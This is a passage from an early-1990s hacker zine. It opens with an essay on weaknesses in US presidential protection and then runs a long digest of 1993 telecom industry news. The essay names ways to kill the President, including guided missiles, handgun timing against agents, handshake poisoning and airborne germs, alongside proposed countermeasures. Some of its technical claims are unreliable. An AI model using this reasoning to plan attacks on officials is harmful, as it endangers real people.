Another policy used by the SS is to keep the specific details of the Presidents movements secret. Everyone knows when the president will be giving a speech, but the exact times are always classified. Which complicates the assassins operation, as careful planning in advance is required.

Whenever the president's exact location has been made known in advance, security is always *tight*. For example during the State of the Union address the entire vicinity is sealed off.

However security during these events and regular operations must be increased. One threat is from anti tank guided weapons (ATGWs). Optically guided along a thin wire for in-flight corrections they have a range up to 3 Km. Or from bigger air or ground launched missiles such as the Maverick. An assassin could fire from the other side of DC, into the stands during the inauguration ceremony for example. Not only the President would be eliminated but so to would all the supreme court justices, the former President and Vice-President, the new Vice-President - the whole government. The same applies when the President addresses a joint session of congress. Using guided weapons, an aircraft or even an improvised nuclear device (IND) the *entire* judicial, legislative and executive branches of the US government would be eliminated! Such a congregation of VIP's is a flawed idea from the start. Tradition should give way to reason and smaller events should replace them. Celebrating democracy is great but to risk the entire US government?

So far only advanced methods of assassination have been examined. The possibility of a "lone gunman" using basic methods, with no more than personal weapons still remains. Take for example, the president giving an address to university graduates. It would take less than 2 seconds, for an assassin to remove his hand from an undercoat, clenching a firearm to aim and fire one round. Against this it takes a minimum of one second for the SS agents to react to the initial movement of the assassin's hand, one second to draw their weapons and another two to aim and fire. The president could be dead before the SS had finished aiming. Of course in some cases audiences are searched with metal detectors for weapons. It doesn't take a genius to smuggle in a small handgun into an audience of a few thousand though.

The only option here is to reduce or eliminate public appearances by the President. But as the President would no doubt insist on being visible and open for all the cameras it isn't likely. Better checking of the site beforehand and on audiences is necessary then.

A similar situation exists with say, the motorcade on inauguration day, where the President often leaves the car to walk alongside it. Here the SS is out in great force with rifles trained and ready. But we are back to our fundamental disadvantage. The assassin will always have at least a 1-2 second jump on the SS.

As was mentioned before, by moving towards ground transportation instead of air the President is much safer. As you might already know the President travels in a "bullet proof" custom built vehicle. It goes everywhere that he does. When he goes to Russia, so does the car. The car's armour will stop small arms fire (ie. handguns, automatic weapons, rifles etc.) However, fire from a crew served 12.5mm gun will penetrate it. Since a gun of this size is to large and bulky to be concealed from a hundred odd SS agents it's not a worry. Remotely fired ATGW's or pre-positioned explosives are. Pre-positioned explosives won't work as the president's exact route is usually classified. When it's not secret, like on inauguration day or a parade, the route will

have been carefully combed over a dozen times for explosives. And the manhole covers welded shut to prevent anyone from placing explosives beneath the road.

The bullet-proof car however isn't ATGW-proof. Their shaped charges are designed for penetrating main battle tanks (MBTs) with frontal armour a foot thick. It would be best for our president to travel in a modified M1A1 Abrams MBT. Some ATGW's may be able to penetrate its rear or perhaps side armour but no existing ATGW's will penetrate its frontal armour. As its made of top-secret "cobham" plating which is several times stronger than an equivalent amount of traditional steel.

Most assassinations are not done through the use of violent force. They are more subtly done using poison for example. Whitehouse security around the president's food is almost non-existent. Even if the food was "checked", ie. some bloke eats portions of it first and is watched for sickness, it could never reduce the risk poised by long term or delayed acting poisons. What should be done then? The President should appoint an agent to go out and randomly purchase food from restaurants and keep it under guard. This way no one will know which food to poison. A simpler method is to infect one's hand with it (after consuming an antidote), and then shake the president's hand, transferring the poison to him. Saddam Hussein, has a solution to this - the hands of visitors are disinfected prior to meeting the dictator. Airborne bacteria could be let loose near the president to cause infection too. Perhaps the Whitehouse should have its own sealed environment to guard against this.

Our president is as stated earlier in much peril. It's only a matter of time before a group or faction builds up the nerve to attempt an assassination. When they do, enough loopholes in the security arrangement today exist for success. By acknowledging and acting upon some of the recommendations made here, the global disruption that would result from an assassination or attempt of one can be prevented. At the very least the president must cease travelling by helicopters, increase security at public appearances and guard against poisons. To give our president the security that is truly justified by his important role, the president must keep appearances to a minimum, reduce the number of officials at major ceremonies and consider travelling by armoured vehicle to avoid the dangers poised by ATGW's or RPG's.

The LOD Technical Journal: File #12 of 12

Network News & Notes

If some of this seems a little "old", do keep in mind that everything since '90 has to be covered. As most of the other 'ZiNeZ are narrowly focused on major publications and miss out on current events in the industry and a lot of other interesting news.

DCS Comes to Russia (Tellabs, April 1993)

A Tellabs TITAN 532E digital cross-connect system (DCS) and 452 series transcoders have been installed by Moscow Cellular Company, a joint venture that includes US West and Moscow public telephone network operators, to boost capacity in its cellular transmission network.

The DCS, which is the first to be installed in Russia, increases the capacity of the Moscow mobile switching centre (MSC) by "grooming and filling" partially-filled 2 Mbit/s PCM links from radio base stations. The 452 60-channel transcoders are used to double the capacity of 2 Mbit/s PCM transmission links between base stations and the MSC.

UK Renumbering (BT, April 1993)

A campaign to prepare its customers for changes to national and international dialing codes was launched by British Telecom (BT) on 1 February 1993.

The changes announced last year by the Office of Telecommunications (OFTEL), will take place on 16 April 1995, more than two years hence. BT is starting its publicity campaign now, however, so that everyone will be ready.

The changes follow extensive and lengthy consultation by OFTEL with representatives of telephone users, operators and equipment manufacturers. The creation involves the additional codes and numbers needed to cater for the growth of the telecom services well into the next century, provide capacity for new operators entering the market.

Area dialing codes will have a "1" inserted after the initial "0". For example Cardiff's 0222 becomes 01222 and Central London will change from 071 to 0171.

The international dialing code changes from 010 to 00. This is a European Community requirement based on CCITT Recommendation E. 160.

Five cites will be given completely new codes and their existing six-digit local number will be increased to seven digits.

Codes which do not denote a geographic area, for example Freefone 0800 numbers, mobile codes such as 0860 and 0850, and information and entertainment services on a code such as 0891 will not change.

BT checks into the Holiday Inn (BT, April 1993)

The Holiday Inn hotel chain with more than 1700 hotels in 54 countries, has signed a 2-million pound sterling three-year contract for BT's global network services. Under the contract, BT will provide Holiday Inn with a tailor-made data network which will connect the company's hotels in the Asia-Pacific region with its headquarters in the US.

One of the main applications of the network will be to run the chain's Holidex hotel computer reservation system.

Initially, the service will be available in five countries - Hongkong, Singapore, Japan, Australia and the US. Eventually, the network will be extended to cover 99 sties in 27 countries in the Asia-Pacific region, the Middle East, Africa and the US.

Trunk Protection for Telefonica (Telecommunications radioelectriques et telephoniques (TRT), March, 1993)

Philips Telecommunications the Spanish subsidiary of Philips, has started to deliver the DCN 212 1+1 switching protection systems to Telefonica. The equipment will be integrated into the Ibermic network to improve 2-Mbit/s trunk protection and quality in the national and international links.

The systems ordered by the Dedicated Networks Department will be implemented in the Iberian Peninsula, in the Balearic and Canary Islands.

One DCN 212 system can permanently supervise 12 independent 2-Mbit/s links. Its cyclic redundancy checking (CRC4) device enables it to perform an automatic switch-over between the main and standby links. This not only allows service to be maintained in the event of link failure but also

provides and improvement of the link performance. DCN 212 is manufactured in France by TRT.

Nokia DX200 system for Malaysia (Nokia, March 1993)

Nokia will delivers its DX200 digital switching system to Malaysia. A five-year frame agreement signed with Jabatan Telekom Malaysia calls for the installation of some 800,000 subscriber lines. The total value of the project, which also includes installation, commissioning and training is estimated at more than 700 million Finnish marks. The project will be implemented by Sapura-Nokia Telecommunications.

Development of the telecom infrastructure has been designated as one of the highest priorities in Malaysia. the goal is to provide, by the year 2000, for universal access to the telecom services and to develop a Malaysian telecom industrial base. The current agreement is part of a plan that calls for the installation of some 4 million subscriber lines during the next five years. As part of the switching project, Sapura is establishing the DX200 subscriber line cards.

With the Telekom Malaysia order, Nokia's DX200 system is now installed or on order in more than 20 countries.

Polish Mobile Radio (Ericsson, March 1986)

Poland has signed a contract with Ericsson for the delivery and implementation for a new mobile radio system. The order has, in its initial phase, a value of 16.5 million US.

The system, known as EDACS, belongs to the new generation of digital trunked radiocom systems. It will be shared by the Polish police and fire brigade operating in the Warsaw police district, providing day-to-day instant communication between individuals and work groups in the field. the system includes more than 3000 handheld and mobile radios.

EDACS, which will be installed in Warsaw during the second half of 1993, has digital encrypted voice, mobile data transmission capability, emergency call facility, WAN and fault-tolerant design.

BT's DMS SuperNode 300 (BT, March 1993)

NT has installed what is said to be the world's largest international gateway in Madley for BT. The digital multiplex system (DMS) SuperNode 300 is the first of BT's international gateways to have fully integrated ISDN capability.

The DMS SuperNode 300 has capacity for 45,000 ports. The switch's capacity to handle an extremely high volume of calls through its SuperNode central processing complex is further enhanced by its "non-blocking" matrix network architecture (ENET). This architecture guarantees each individual cell access to an international route, thereby reducing the incidence of call failures resulting from congestion in the exchange.

Taiwan's Fortress Fones (Telecommunication Journal, March 1993)

Taiwan has ordered a further 5000 optical card payphones from Landis & Gyr Communications, bringing the total to 27,500. Eight million optical coded phonecards will also be delivered. Landis & Gyr's Communications Division has now supplied more than 1 million payphones and 350 million phonecards to 65

countries.

Swedish SDH (Telecommunication Journal, February 1993)

Swedish Telecom is building a complete transport network based on synchronous digital hierarchy (SDH) and has signed an agreement with Marconi SpA and Ericsson Telecom AB about the supply of equipment for the new network, including transmission and cross-connect equipment based on SDH technology. In addition, Ericsson will deliver a management system serving all equipment in the network.

Among the first parts of the network to be equipped is the "triangle" Stockholm-Goteborg-Malmo. The transmission equipment on these routes will have a capacity of 30,000 simultaneous telephone calls; the transmission capacity is 2.5 Gbit/s per fiber pair, which is the highest capacity available on the market today.

Over the next few years, the deployment of SDH will mainly meet the needs imposed by traffic growth. SDH will be introduced in the national long-distance network, in the regional parts of the network and in the local network, the ultimate goal being a country-wide SDH network.

Italian GSM network (Ericsson, Feb. 1993)

Societa italiana per l'Esericzio delle Tleecomunicazioni pa (SIP), the operator of the Italian mobile phone network, has inaugurated its new GSM digital cellular network which is now on line in all of Italy's major cities. It will subsequently be extended throughout the country.

Italy has grown faster in mobile telephony than any other country in Europe since SIP launched its analog total access communication system (TACS) in April 1990. SIP is now one of Europe's three largest telephone systems operators, with more than 700,000 subscribers.

The Ericsson Fatme-Italtel consortium is the general supplier of both the TACS network and all exchanges and base stations controllers in the Italian GSM network. The consortium is also supplying 75% of the GSM radio base stations.

NT Introduces CT2 Fone (NT, Feb. 1993)

NT has introduced in Hongkong its Companion wireless communications system, which uses the widely accepted CT2 common air interface (CT2 CAI) radio standard.

This is the first phase of a worldwide introduction of the product which in 1993 will include other locations in the Pacific Rim, as well as the US, Canada, Europe, the Caribbean and Latin America.

The Companion system, uses portable, personal telephones that fit into a pocket or purse freeing people to move about as the work. It is available as an enhancement to an existing business telephone system or as a stand-alone system. More than 1 million US in orders for the product have been received in the Hongkong area where the system operates in the 864-868 MHz frequency range.

Lossless 4 X 4 switch (Ericsson, Feb. 1993)

Ericsson recently developed what it claims to be the first "lossless"

monolithic optical 4 X 4 space switch, ie. a switch that does not attenuate a switched signal, a major problem with previous monolithic optical switches.

Optical space switches of this type are key components in the future broadband transport network. The experimental indium phosphide (InP) switch chip comprises 24 integrated optical amplifiers and can be connected to four input and four output optical single mode fibres.

BT Launches SuperJANET (BT, Feb. 1993)

SuperJANET, a new high-speed fiber optic network to be provided by BT, will link computer systems in universities and polytechnics in the UK.

BT has been awarded the contract for the network by the Information Systems Committee (ISC) of the University Funding Council (UFC). Under the contract, BT will collaborate with the Science and Engineering Research Council/Universities Funding Council (SERC/UFC) Joint Network Team to design and implement the new network, to be called SuperJANET (joint academic network). It will augment the existing private JANET network created during the early 80s.

SuperJANET will be able to transmit information up to 100,000 times faster than the standard telephone network, with the initial phase of the project linking sites as the Cambridge and Manchester universities, Rutherford Appleton Laboratory, University College London, Imperial College London and Edinburgh University.

The core network will use a mix of PDH and SDH high performance optical fibre technologies and pilot phase will be established in March 1993.

The new network will cover a range of transmission speeds, initially from 34 through to 140 Mbit/s.

Swiss ISDN (Telecommunication Journal, January 1993)

SwissNet 2, the second phase in Switzerland's ISDN, is now in service. It offers narrow-band ISDN capable of transmitting at higher speeds and at reduced tariffs data, images and conversations which until now had to be routed over separate networks. Up to eight terminals, of which two can be used simultaneously, can be connected to the basic ISDN line thus allowing the transmission of images or data at the same time as a telephone conversation is taking place. Another important advantage is the possibility of using Group 5 telefax which has a transmission speed of up to ten times that of Group 3.

In addition to the transmission service, various supplementary services such as multiple subscriber number, calling-line identification, call waiting, call forwarding, are available at no extra charge whilst other optional services such as direct dialing-in, closed user groups and outgoing call barring can be obtained against payment.

Monthly charges are 50 Swiss francs (CHF) for a basic connection of two B-channels at 64 kbit/s and one D-channel at 16 kbit/s and 500 CHF for a primary connection of 30 B-channels at 64 kbit/s and one D-channel at 64 kbit/s. Installation charges for the two types of connection are respectively 200 and 400 CHF. Communication charges will be made up of three elements representing the costs of call set-up, call preparation and interruption, and call duration.

SwissNet 2 conforms to the CCITT Blue Book Recommendations and can therefore connect to other ISDNs conforming to international standards.

NT's SDH in Russia (Telecommunication Journal, January 1993)

MACOMNET, a new company set up as a joint venture between the Andrew Corporation and the Moscow Metro, has awarded a 840,000 US contract to NT for synchronous digital hierarchy transmission equipment.

MACOMNET will use the metro infrastructure to permit the rapid establishment of a fiber-optic network in key areas of Moscow. Operating as a "carrier's carrier", it will provide a high-quality, highly reliable managed digital transport service beginning in spring 1993. Initially it will provide E1 (2 Mbit/s) circuits to other operators and private customers in Moscow.

Cantat-3 direct links to Eastern Europe (Telecommunication Journal, January 1993)

Teleglobe Canada Inc. has formed a consortium with 20 European and United States carriers to lay a 385 million US high-capacity fibre-optic cable linking North America with Western and Eastern Europe.

NT's STC Submarine Systems has been chosen as sole supplier of Cantat-3. When completed in 1994, this first direct fibre-optic link between Canada and Europe will provide multi-media communication services of greater speed and capacity than ever before. The new cable will be the first of its kind to operate to the new international SDH transmission standards and the first at a transmission speed of 2.5 Gbit/s, offering an unprecedented 30,000 circuits per fibre pair.

Cantat-3 will be the largest direct link from North America to Germany, Scandinavia and the UK. It will link directly with the Denmark-Russia and planned Denmark-Poland cables. An overland link though Germany will give entrance to the heard of Eastern Europe.

Fibre-optics Under the Pacific (MCI, January 1993)

MCI International, Inc., together with 46 international telecom carriers, has announced the signing of a construction and maintenance agreement for TPC-5, the first undersea fibre-optic network in the Pacific.

The 25,000 km fibre optic system interconnects the US mainland at Oregon and California, extends out to Hawaii, Guam and Miyazaki and Ninomiya in Japan, and then stretches back to the US to complete the loop.

The network segments between California, Hawaii, Guam, and Miyazaki will be in service by late 1995. The entire TPC-5 network will be completed by late 1996.

The system can transmit up to 5 Gbit/s per fibre par which is equivalent to 60,480 simultaneous conversations. Once completed the 1.3 billion US network will provide instantaneous restoration by shifting voice, data and video signals to a spare fibre on the network. In the unlikely event that a break occurs somewhere along the cable route, the network's loop configuration ensures instant restoration by re-routing signals.

NT Announces Contracts (Telecommunication Journal, January 1993)

NT has announced several contracts for its Meridian ISDN network.

The Greek national airline, Olympic Airways, has purchased a 6000 line network that will provide specialized business communication services for

employees and customers at its major locations.

Kuwait Oil Company has ordered an 8000 line ISDN valued at over 3 million US to restore, modernize and expand the company's private communications network.

The five millionth line of Meridian digital centrex was shipped to the US market to Centel's network in Florida.
NT will also be installing a country-wide network for the Security Directorate of Jordan. The network of 78 Meridian SL-1 PBX systems is the largest private network in Jordan and links most of the police centres, providing voice and data communications across the country.

Croatia Orders AXE (Telecommunication Journal, January 1993)

The Croatian Post and Telecommunication (HPT) has awarded Ericsson a contract for the delivery of four international telephone exchanges for Croatia. The AXE exchanges will be installed in the cities of Zagreb, Rijeka, Split and Osijek. They will be delivered from Sweden and from Nikola Tesla in Zagreb.

---

911 Enhanced (AT&T Technology, v.7 no.3)

AT&T Network Systems introduced software and equipment that will allow local telephone companies and other network providers to furnish enhanced 911 emergency calling services to more people nationwide.

Seven new products range from enhancements to AT&T's 5ESS Switch to PC-Based systems that can pinpoint the location of a person calling to report an emergency.

The new software and equipment includes:

+ 5ESS Switch enhancements, allowing it to support standard E911 features such as call routing, and to work with analog answering point equipment in public and private networks, ISDN answering point equipment in private networks.

+ Automatic Location Identification/Database Management System (ALI/DMS) hardware and software. This matches callers' phone numbers with addresses and provides this information to attendants as they answer calls.

+ The Alive Database System. This PC-base system provides detailed descriptions of the 911 caller's location. Public Safety Answering Point Equipment receives the incoming calling number and location information from the local database and displays it to answering point attendants.

+ Intelligent Public Safety Answering Point Display shows the 911 caller's number and location along with call-transfer information on a single computer screen.

+ Computer-Aided Dispatch System helps make decisions on which police cars, ambulances, or fire trucks to send to an emergency, to find where these vehicles are located at the time of the call, and to determine the fastest way to get them to the emergency site.

+ An ISDN Public Safety Answering Point System connects to the telephone network over ISDN Basic Rate Interface (BRI) channels. The system is available now to private-network customers such as universities, military bases, large businesses and airports, and will be available for communities as ISDN becomes more widely deployed.

First BNS-2000 Delivered (AT&T Technology v.7, no.3)

PacBell and GTE recently accepted delivery of AT&T Network System's first BNS-2000 broadband networking switches and began installing them to facilitate their Switched Multimegabit Data Services (SMDS) offerings scheduled to begin in September.

These are the first BNS-2000 switches to be installed in the PSTN. The BNS-2000 Switch is fast-packet cell-relay system which uses ATM (asynchronous transfer mode) cells designed for broadband ISDN applications.

PacBell will install a BNS-2000 Switch in its Los Angeles service area and is scheduled to initiate SMDS in Los Angeles, San Francisco, Anaheim, and Sacramento in September.

Similarly, GTE will install its BNS-2000 in Long Beach, California, and plans to initially offer SMDS, which the company calls MegaConnect, in the Los Angeles area, also in September.

Next year, GTE plans to extend MegaConnect to Seattle and Everett, Washington; Beaverton and Portland, Oregon; Raleigh-Durham, North Carolina; Tampa, Florida and Honolulu, Hawaii.

Up to now, telephone companies had been using early models of the BNS-2000 to test market SMDS. In one such test, PacBell and GTE interconnected Rockwell International Corporation's LANs between its Canoga Park office (served by PacBell) and its Seal Beach Facility (served by GTE).

The differentiator of the BNS-2000 remains its ability t let our customers, like PacBell and GTE, start SMDS frame relay services now and evolve easily to additional ATM-based BISDN services.

Russia's Big Steel Buys AT&T PBX (AT&T Technology v.8 no.1)

One of the world's largest steel manufacturing facilities, Magnitogorsk Metallurgical Works, has signed an agreement to purchase an AT&T DIFINITY Communications System, replacing its 1930s-vintage telephone system.

The new PBX will provide advanced communications to the more than 60,000 employees in several buildings on the company's campus. The first phase of the $5 million project-installation of a 4,000 line DEFINITY G3R will be completed later this year.

AT&T made the sale with NPO Chermetavtomatika, the Russia-based distributor for AT&T business communications systems. The company, located on the Ural River, was built with American assistance and technology, and supplied much of the armament and tanks used during World War II. Today, the multiple-building campus includes a hospital and a farm, used to grow agricultural products for the town's residents.

Magnitogorsk is a major exporter of steel products to companies around the world. It had been using several key systems, as well as two large step-by-step systems, similar to those in US telephone company COs during the 1930s. Maintenance had become increasingly difficult, and it needed an advanced communications system that would enable it to communicate efficiently internally and with its customers.

According to AT&T, Magnitogorsk selected the DEFINITY system based on the technology and its capacity to handle the huge company's communications needs, coupled with the distributor's responsiveness and level of knowledge.

The DEFINITY system's distributed architecture makes it possible for a single system to handle the communications needs of the entire complex. Campus buildings will be connected via remote modules, and the cable linking the

modules will run through existing steam tunnels.

Fast Switch for ATM Service (AT&T Technology v.8, no. 1)

Service providers can now offer their customers end-to-end Asynchronous Transfer Mode (ATM) Services using AT&T Network Systems new GCNS-2000 data-networking switch. The GCNS-2000 switch will support 20 gigabits per second of switching capacity, allowing the high-speed, sophisticated applications of ATM to be brought to the PSTN.

The GCNS-2000 also will become the core switching vehicle for AT&T's InterSpan ATM Services. Using an ATM network (Also called broadband), for example executives could participate in a multilocation multimedia conference call, while exchanging documents and images. Medical specialists in different hospitals could concurrently review a patient's X-ray or CAT scan. And customers everywhere could select a movie to watch at any time.

The new switch is part of Network Systems' data networking switching product line, which includes the BNS-2000 fast-packet cell-relay system. This switch is deployed by various phone companies in the US and other countries in support of their frame-relay networks and switched multimegabit data service offerings.

The GCNS-2000 uses a new core ATM technology, developed by AT&T Bell Laboratories, a key feature of which is the "shared memory fabric". This allows the equipment to accommodate simultaneously the distinct and different natures of voice, data and video transmission, so that all types of signals can be processed at once. The switch will be available on a limited basis at the end of 1993, and generally available six months later.

Wireless 5ESS Switch Gets New Capabilities (AT&T Technology v.8, no.1)

The 5ESS Switch for the AUTOPLEX System 1000 will now support AMPS standards all over the world, and the Global System for Mobile Communications standard.

While the new switch will, at first, provide the same features and services now available on the AUTOPLEX System 1000 Switch, it will eventually become a platform for ISDN and advanced intelligent network applications.

The 5ESS Switch with wireless capability represents a new, cost-effective growth option for AUTOPLEX System networks. Future versions of the switch for the AUTOPLEX System will make it possible to have analog and digital AMPS, as well as POTS on the same switch. Switch availability is scheduled for mid-1994.

---

800 Service Recognizes Speech (AT&T Technology v.8, no.1)

AT&T recently announced an innovative 800 Service feature that makes it easier for all callers, including the 39% of US homes and businesses with rotary and non-touch-tone telephone to obtain information from businesses by simply speaking. Called AT&T 800 Speech Recognition, this new capability enables callers to verbally respond to announcement that allow them to automatically select the information or assistance they want.

AT&T is the first long-distance company to provide voice-activated call routing in an 800 service network. Past technology only enabled callers using touch-tone telephones to direct their calls after responding to menu prompts with their keypads. Now, these callers can route their own calls quickly and efficiently by simply speaking their choice. And for the first time, callers with rotary telephones will be able to enjoy the same benefits as callers with touchtone phones.

AT&T Speech Recognition is a network-based, advanced 800 Service innovation that prompts callers to speak a number - from "one" to "nine" - corresponding to a menu of options that identifies the department or location they wish to reach within the company they're calling.

Supported by state-of-the-art technology from AT&T Bell Laboratories, AT&T Speech Recognition is able to recognize the spoken number, process the information, and route the call through the AT&T network to the appropriate destination. During field tests, AT&T Speech Recognition correctly identified the spoken number 97.8 percent of the time. this high completion rate was achieved even taking into account the many dialects and accents that exist across the US.

AT&T Speech Recognition represents the latest step in AT&T's drive to provide its customers with complete automated transaction processing. Eventually, the capability to recognize more advanced words and entire phrases will make it possible for AT&T 800 Service customers to process orders, dispatch repair crews, provide account information, or handle countless other functions in a fully automated, cost-effective way, if they so desire.

Amplifier, Vector Attenuator for Wireless Applications (AT&T Technology, v.8, no.1)

AT&T Microelectronics recently expanded its wireless applications technology with two high-performance, high reliability thin-film-on-ceramic devices for cellular base stations.

The components are the GSM Low Noise Amplifier, an unconditionally stable amplifier designed for Global System for Mobile Communications (GSM) cellular base station receivers, and the 1098E Complex Vector Attenuator, a surface mount device that enables designers to build sophisticated signal cancellation systems into base station transmit amplifiers.

The GSM low-noise amplifier is a balanced amplifier design. It operates in the 890- to 915- MHz frequency range and exhibits exceptionally low noise (1.3 dB maximum) and high third order intercept (38 dBm) with a 32 dB small signal gain, operating on a single 24 volt DC supply. While the device is tailored for the GSM band, it provides similar performance in the 824- to 849-MHz AMPS band.

The key benefit to the designer is the device's unconditional stability, a characteristic important to eliminating oscillation. Due to its thin-film-on-ceramic implementation, the device also provides, for a given bias condition lower junction temperatures and therefore longer life and increased system reliability than a PWB realization.

The 1098E Complex Vector Attenuator is functionally equivalent to the combination of an endless phase shifter and an attenuator. It is used to control the phase and amplitude of a signal without introducing intermodulation distortion, dispersion, or variation in group delay. In addition, there's no limitation on phase change, which can increase or decrease continuously without reaching an endpoint.

Production quantities of the GSM low-noise amplifier will be available this fall, while the 1098E Complex Vector Attenuator is currently available in 124 PIN PQFP packaging. Pricing details and product literature are available from the AT&T Microelectronics Customer Response Center, 1-800-372-2447 Ext. 869 (In Canada, 1-800-553-2448, Ext. 869); fax 215-778-410 or by writing to AT&T Microelectronics, Dept. AL500404200. 555 Union Boulevard, Allentown, PA. 18103.

Frame Relay Service (AT&T Technology, v.8, no.1)

AT&T InterSpan Frame Relay Service will now be offered to customers in Canada (subject to CRTC approval) through Unitel Communications Inc., and in 9 additional European countries through AT&T ISTEL.

Beginning in July 1993, the service will be offered in controlled introduction to customers in Canada, Ireland, Austria, Portugal, Switzerland, Denmark, Italy, Luxembourg, Finland and Norway, with general availability later in the third quarter of 1993.

AT&T InterSpan Frame Relay Service will provide the same seamless global interconnectivity and high reliability currently enjoyed by InterSpan Frame Relay customers in the US, UK, Spain, France, Belgium, The Netherlands, Germany and Sweden.

AT&T provides its InterSpan Frame Relay Service over a common worldwide architecture that enables seamless global service with fast, reliable connectivity. As a result of this standards-based architecture, InterSpan Frame Relay Service provides a wise array of global features including network management and enhanced permanent virtual circuits for extended bursts.

InterSpan Frame Relay Service provides a number of value-added features that are of critical importance to multi-national customers today. For example, the service provides a single point of contact for installation and maintenance of InterSpan Frame Relay Service, access and customer premises routers. Billing for InterSpan Frame Relay Service and associated local access is combined into a single bill. In one currency of the customer's choice - US dollars, UK pounds or sterling or Canadian dollars - rendered in the country of choice. In addition, protocol conversion embedded in the network will provide interoperability between InterSpsan Frame Relay Service and emerging InterSpan Asynchronous Transfer Mode (ATM) services to allow migration to ATM as the customers' business needs dictate. Dedicated InterSpan Frame Relay Service Network Operations Centres in North American and Europe monitor and manage the InterSpan Frame Relay Network around the globe, around the clock.

Modernization Milestone for Ukraine's Telecom (AT&T Technology, v.8, no. 1)

UTEL, Ukraine's telecommunications joint venture responsible for the modernization of the long-distance telecommunications network, recently inaugurated its first all-digital long distance telephone switch in L'viv.

The 5ESS Switch, supplied by AT&T Network Systems International, was officially put into service with a ceremonial inaugural call between the Minister of Communications of Ukraine, Oleh Prozhyvalsky, in L'viv and Victor A. Pelson, AT&T Group Executive, Communications Services in NJ.

With the new 5ESS Switch, most citizens n L'viv can now make direct international calls to many countries in the world. International connections are completed via an earth station located in Zolochive, which in turn is connected to an international switching center in Kiev, Ukraine. Just four months ago, international calls from Ukraine were possible only via their services of Moscow's telephone operators; on average, outgoing calls required 24 hour's advance notice.

The 5ESS Switch in L'viv includes 4,000 trunk lines and 1,000 subscriber lines and is the latest generation of telecom equipment utilizing digital technology to connect voice, data and image messages. UTEL recently signed an agreement to purchase six additional 5ESS switching systems for Ukraine. Final assembly of these switches will take place locally in Ukraine at the Chernighiv Zavod Radioaparatur (Chezara) production plant in Chernigiv. Following L'viv, the next switches are scheduled to be installed in

Chernivtsi, Uzhorod, Poltava, Luhansk and Kirovohrad, doubling today's capacity.

XUNET (AT&T Technology, v.8, no.1)

XUNET: Today's Experiments Define Tomorrow's Reality
The Experimental University Network - XUNET - will soon carry 622-Mb/s traffic

A high-speed experimental network is giving researchers and graduate students an opportunity to explore issues important to the future of data communications. The Experimental University Network (XUNET) now consists of experimental switches, based on the Asynchronos Transfer Mode (ATM) standard, linked by 45 megabit-per-second (Mb/s) transmission lines.

Host computers on fiber-distributes data interface LANs communicate over XUNET via routers between the LAN and the ATM backbone. In a few months, AT&T, the University of Wisconsin at Madison, and the University of Illinois at Urbana-Champaign will begin to communicate over experimental links at 622 Mb/s.

With the higher-speed links and a higher-performance Peripheral Interface LAN, a user in a remote location will be able to display the output of a supercomputer simulation on his or here workstation in real time.

While the XUNET testbed is small, the research program seeks to understand the problems of a large high-speed data networks. With existing wide-area data networks, most users communicate at speeds of 1.5 Mb/s or less. Research on XUNET anticipates that users will interface at speeds up to hundreds of Mb/s. With higher speeds comes the potential for new applications such as full-motion video, multimedia conferencing, and distributed computing all over the public network. The XUNET testbed, which is supported by AT&T Data Communications Services, is also the basis for BLANCA, one of five gigabit testbed networks sponsored by the Corporation for National Research Initiatives.

TESTBED EVOLUTION
The program began with XUNET I in 1986 as a collaboration among AT&T, the University of California at Berkeley, the University of Illinois, and the University of Wisconsin. The universities were linked with AT&T Bell Laboratories using DATKIT VCS switches and transmission links used ACCUNET T1.5 Services at 1.5 Mb/s.

Students at the universities have a change to try ideas out first hand by using XUNET as a research tool in running controlled network experiments. For example, students can remotely download different algorithms into the XUNET switches to study the effect on a heavily loaded network.

XUNET II became operational in January 1992, offering a thirty-fold increase in speed over XUNET I by using experimental ATM switches and transmission lines operating at 45 Mb/s. In addition to AT&T and the universities Pacific Bell and Bell Atlantic are involved in the XUNET II activity. In July 1992, Sandia National Laboratories and Lawrence Livermore Laboratories were linked into the XUNET testbed, and in February 1993 Rutgers University joined. In addition, students from the University of Pennsylvania and Columbia University participate in the XUNET program, and students from the universities have been invited to AT&T Bell Laboratories at Murray Hill to work with researchers there.

XUNET III, the first portion of which is scheduled for operation this June, will be more than an order of magnitude faster than XUNET III. A 622 Mb/s link will connect XUNET switches at an AT&T Chicago CO, the University of Wisconsin, and the University of Illinois.

RESEARCH RESULTS
The XUNET collaboration includes research in many of the key areas in wide-area networking, including switch architectures, LAN interfaces, network operations, managment tools and techniques, and network applications. One focus of the program has been on congestion control to determine how the network can meet the quality of service needs for different types of traffic even in the presence of heavy load.

For example, voice, video and multimedia traffic may require controlled delay and variation in delay, whereas file transfer traffic may not. Research into protocols and the trunk service disciplines used in switching nodes have identified effective ways of carrying many types of traffic in a network while avoiding congestion and degradation of the quality of service.

XUNET has already provided valuable insight for AT&T's service realities. And this will continue to be the case as AT&T moves towards its realization of ATM services in 1994.

By A.G. Fraser, Erik K. Grimmelmann, Charles R. Kalmanek and Giopala S. Subramanian

---

DACS II Goes TEMPEST (AT&T Technology, v.7, no.4)

The National Security Agency (NSA) of the US Government has endorsed the TEMPEST version of the AT&T Digital Access and Cross Connect System II (DACS II). The TEMPEST is encased in a special cabinet which shields its electronic output from eavesdropping or monitoring by unauthorized personnel.

The NSA endorsement means it will be included on the Endorsed TEMPEST products list. Communications Systems Technology, Inc. (CSTI), based in Columbia, MD, engineers the cabinet under an agreement with AT&T Network Systems, then markets the TEMPEST as a CS-1544 switch.

The DACS II is a fast and reliable digital cross-connect system developed by AT&T. Up to 160 standard 1.544 megabits-per-second DSI signals, each consisting of 24 channels (DSOs) may be terminated on the CS-1544. Each of the 24 DSOs comprising a DS1 signal may be cross connected to any other DS1.

Swat teams on 24-hour call (IEEE Spectrum, August 1992)

"We all have wonderful war stories to tell about being roused from sleep," said Barbara Fraser, one of seven members of the Computer Emergency Response Team (CERT). Most computer crackers, like common robbers, prefer to break in during off-hours, she said, and international incidents add to the 24-hour nature of the job. Mostly, however, CERT's business is conducted between 7:30a.m. and 6 p.m. Pittsburgh time.

CERT's domain is the Internet, a worldwide supranetwork with perhaps a million host computers and five to eight million users. Roughly half are in the US, and membership is expanding fast in Europe, the Pacific Rim, and South America.

Each day, the CERT team responds to an average of 300 hotline calls and email messages most in English. Last year, they averaged about one "incident" a day. Now its up to three. (An incident is an actual of attempted intrusion.) They have responded to serious attacks from Europe ("This is NOT A PRANK"), put out a major US hackers alert that counselled "Caution (not panic) is advisable," and warned against email trojan horses that catch passwords from gullible users.

